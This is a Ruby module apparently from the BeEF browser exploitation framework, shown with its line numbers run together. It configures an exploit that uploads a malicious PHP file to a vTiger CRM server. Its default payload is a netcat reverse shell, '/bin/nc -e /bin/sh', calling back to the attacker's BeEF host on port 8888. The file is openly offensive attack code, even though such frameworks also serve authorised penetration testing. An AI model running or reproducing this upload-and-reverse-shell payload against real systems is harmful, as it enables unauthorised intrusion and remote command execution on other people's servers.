Path: blob/master/modules/exploits/vtiger_crm_upload_exploit/module.rb
1154 views
#1# Copyright (c) 2006-2025 Wade Alcorn - [email protected]2# Browser Exploitation Framework (BeEF) - https://beefproject.com3# See the file 'doc/COPYING' for copying permission4#5class Vtiger_crm_upload_exploit < BeEF::Core::Command6def self.options7time = Time.new8weekno = case time.day9when 1..7 then 110when 8..14 then 211when 15..21 then 312when 22..28 then 413else 514end1516@configuration = BeEF::Core::Configuration.instance17beef_host = @configuration.beef_host18[19{ 'name' => 'vtiger_url', 'ui_label' => 'Target Web Server', 'value' => 'http://vulnerable-vtiger.site', 'width' => '400px' },20{ 'name' => 'vtiger_filepath', 'ui_label' => 'Target Directory', 'value' => "/storage/#{time.year}/#{time.strftime('%B')}/week#{weekno}/",21'width' => '400px' },22{ 'name' => 'mal_filename', 'ui_label' => 'Malicious Filename', 'value' => rand(32**10).to_s(32), 'width' => '400px' },23{ 'name' => 'mal_ext', 'ui_label' => 'Malicious File Extension', 'value' => 'PHP', 'width' => '400px' },24{ 'name' => 'vtiger_php', 'ui_label' => 'Injected PHP (must escape single quotes)', 'value' => "<?php passthru(\"/bin/nc -e /bin/sh #{beef_host} 8888\"); ?>", 'type' => 'textarea',25'width' => '400px', 'height' => '100px' },26{ 'name' => 'upload_timeout', 'ui_label' => 'Upload Timeout', 'value' => '5000' }27]28end2930def post_execute31return if @datastore['result'].nil?3233save({ 'result' => @datastore['result'] })34end35end363738